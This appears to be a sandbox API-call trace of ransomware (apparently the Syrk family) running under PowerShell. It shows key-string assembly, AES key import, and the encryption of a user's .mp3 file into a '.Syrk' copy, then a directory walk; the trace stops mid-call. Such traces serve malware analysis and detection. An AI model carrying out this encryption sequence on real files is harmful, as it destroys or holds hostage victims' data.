[0242.853] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0242.853] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.853] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0242.853] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.853] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0242.853] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0242.853] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.854] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0242.854] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.854] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0242.854] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0242.854] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.854] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0242.854] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.854] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0242.854] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0242.854] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.854] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0242.854] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.854] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0242.855] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0242.855] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.855] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0242.855] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.855] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0242.855] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0242.855] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0242.855] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0242.855] SystemFunction041 (in: Memory=0x5c9b25c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b25c) returned 0x0 [0242.856] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0242.856] SystemFunction040 (in: Memory=0x5c9b25c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b25c) returned 0x0 [0242.856] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0242.856] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0242.856] SystemFunction041 (in: Memory=0x5c9b25c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b25c) returned 0x0 [0242.856] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0242.856] SystemFunction040 (in: Memory=0x5c9b25c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b25c) returned 0x0 [0242.856] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0242.856] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0242.856] SystemFunction041 (in: Memory=0x5c9b25c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b25c) returned 0x0 [0242.857] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0242.857] SystemFunction040 (in: Memory=0x5c9b25c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b25c) returned 0x0 [0242.857] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0242.857] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0242.857] SystemFunction041 (in: Memory=0x5c9b25c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b25c) returned 0x0 [0242.857] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0242.857] SystemFunction040 (in: Memory=0x5c9b25c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b25c) returned 0x0 [0242.857] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0242.857] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0242.857] SystemFunction041 (in: Memory=0x5c9b25c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b25c) returned 0x0 [0242.857] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0242.858] SystemFunction040 (in: Memory=0x5c9b25c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b25c) returned 0x0 [0242.858] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0242.858] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0242.858] SystemFunction041 (in: Memory=0x5c9b25c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b25c) returned 0x0 [0242.858] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0242.858] SystemFunction040 (in: Memory=0x5c9b25c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b25c) returned 0x0 [0242.858] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0242.858] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0242.858] SystemFunction041 (in: Memory=0x5c9b25c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b25c) returned 0x0 [0242.858] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0242.858] SystemFunction040 (in: Memory=0x5c9b25c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b25c) returned 0x0 [0242.858] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0242.858] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0242.858] SystemFunction041 (in: Memory=0x5c9b25c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b25c) returned 0x0 [0242.859] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0242.859] SystemFunction040 (in: Memory=0x5c9b25c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b25c) returned 0x0 [0242.859] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0242.859] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0242.859] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0242.859] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0242.859] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0242.859] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0242.859] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0242.860] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0242.860] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0242.860] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0242.860] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0242.860] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0242.860] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0242.860] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0242.860] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0242.860] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0242.860] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0242.860] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0242.860] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0242.860] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0242.861] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0242.861] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0242.861] EtwEventActivityIdControl () returned 0x0 [0242.861] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0242.861] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0242.861] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0242.861] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0242.863] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4cee0) returned 1 [0242.864] CryptImportKey (in: hProv=0x5c4cee0, pbData=0x2476530*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c69500) returned 1 [0242.864] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0242.865] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.865] EtwEventActivityIdControl () returned 0x0 [0242.865] EtwEventActivityIdControl () returned 0x0 [0242.865] EtwEventActivityIdControl () returned 0x0 [0242.872] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\MsuOsA4r0 23U.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\xlkrw\\msuosa4r0 23u.mp3")) returned 0x20 [0242.874] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\MsuOsA4r0 23U.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\xlkrw\\msuosa4r0 23u.mp3")) returned 0x20 [0242.874] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\MsuOsA4r0 23U.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0242.874] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\MsuOsA4r0 23U.mp3", nBufferLength=0x49, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\MsuOsA4r0 23U.mp3", lpFilePart=0x0) returned 0x48 [0242.874] EtwEventActivityIdControl () returned 0x0 [0242.874] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.875] EtwEventActivityIdControl () returned 0x0 [0242.875] EtwEventActivityIdControl () returned 0x0 [0242.875] EtwEventActivityIdControl () returned 0x0 [0242.876] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\MsuOsA4r0 23U.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0242.876] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\MsuOsA4r0 23U.mp3", nBufferLength=0x49, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\MsuOsA4r0 23U.mp3", lpFilePart=0x0) returned 0x48 [0242.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0242.876] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\MsuOsA4r0 23U.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\xlkrw\\msuosa4r0 23u.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0242.876] GetFileType (hFile=0x454) returned 0x1 [0242.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0242.877] GetFileType (hFile=0x454) returned 0x1 [0242.877] EtwEventActivityIdControl () returned 0x0 [0242.877] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.877] EtwEventActivityIdControl () returned 0x0 [0242.877] EtwEventActivityIdControl () returned 0x0 [0242.877] EtwEventActivityIdControl () returned 0x0 [0242.878] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\MsuOsA4r0 23U.mp3.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4e [0242.878] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\MsuOsA4r0 23U.mp3.Syrk", nBufferLength=0x4e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\MsuOsA4r0 23U.mp3.Syrk", lpFilePart=0x0) returned 0x4d [0242.878] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0242.879] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\MsuOsA4r0 23U.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\xlkrw\\msuosa4r0 23u.mp3.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d4 [0242.885] GetFileType (hFile=0x1d4) returned 0x1 [0242.885] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0242.885] GetFileType (hFile=0x1d4) returned 0x1 [0242.885] EtwEventActivityIdControl () returned 0x0 [0242.885] CryptGenRandom (in: hProv=0x5c4cee0, dwLen=0x10, pbBuffer=0x248a480 | out: pbBuffer=0x248a480) returned 1 [0242.886] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0242.886] CryptDuplicateKey (in: hKey=0x5c69500, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c69140) returned 1 [0242.886] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0242.886] CryptSetKeyParam (hKey=0x5c69140, dwParam=0x4, pbData=0x248b7b8*=0x1, dwFlags=0x0) returned 1 [0242.887] CryptSetKeyParam (hKey=0x5c69140, dwParam=0x1, pbData=0x248b784, dwFlags=0x0) returned 1 [0242.887] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.887] EtwEventActivityIdControl () returned 0x0 [0242.887] EtwEventActivityIdControl () returned 0x0 [0242.887] EtwEventActivityIdControl () returned 0x0 [0242.888] EtwEventActivityIdControl () returned 0x0 [0242.888] ReadFile (in: hFile=0x454, lpBuffer=0x248e3f4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x248e3f4*, lpNumberOfBytesRead=0x5a2e7d8*=0xd1d4, lpOverlapped=0x0) returned 1 [0242.890] CryptEncrypt (in: hKey=0x5c69140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24a240c*, pdwDataLen=0x5a2e7cc*=0xd1d0, dwBufLen=0xd1d0 | out: pbData=0x24a240c*, pdwDataLen=0x5a2e7cc*=0xd1d0) returned 1 [0242.891] WriteFile (in: hFile=0x1d4, lpBuffer=0x248a55c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x248a55c*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0242.892] WriteFile (in: hFile=0x1d4, lpBuffer=0x24a33f8*, nNumberOfBytesToWrite=0xc1e4, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x24a33f8*, lpNumberOfBytesWritten=0x5a2e7b0*=0xc1e4, lpOverlapped=0x0) returned 1 [0242.893] ReadFile (in: hFile=0x454, lpBuffer=0x248e3f4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x248e3f4*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0242.893] CryptEncrypt (in: hKey=0x5c69140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24af5e8*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x24af5e8*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0242.894] CryptEncrypt (in: hKey=0x5c69140, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x24af604*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x24af604*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0242.894] WriteFile (in: hFile=0x1d4, lpBuffer=0x248a55c*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x248a55c*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0242.894] CloseHandle (hObject=0x1d4) returned 1 [0242.895] CloseHandle (hObject=0x454) returned 1 [0242.896] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.896] EtwEventActivityIdControl () returned 0x0 [0242.896] EtwEventActivityIdControl () returned 0x0 [0242.896] EtwEventActivityIdControl () returned 0x0 [0242.964] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\MsuOsA4r0 23U.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\xlkrw\\msuosa4r0 23u.mp3")) returned 0x20 [0242.967] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\MsuOsA4r0 23U.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0242.967] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\MsuOsA4r0 23U.mp3", nBufferLength=0x49, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\MsuOsA4r0 23U.mp3", lpFilePart=0x0) returned 0x48 [0242.967] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0242.967] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0242.968] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0242.968] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0242.968] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0242.968] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0242.968] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0242.968] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0242.968] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0242.968] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0242.968] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: 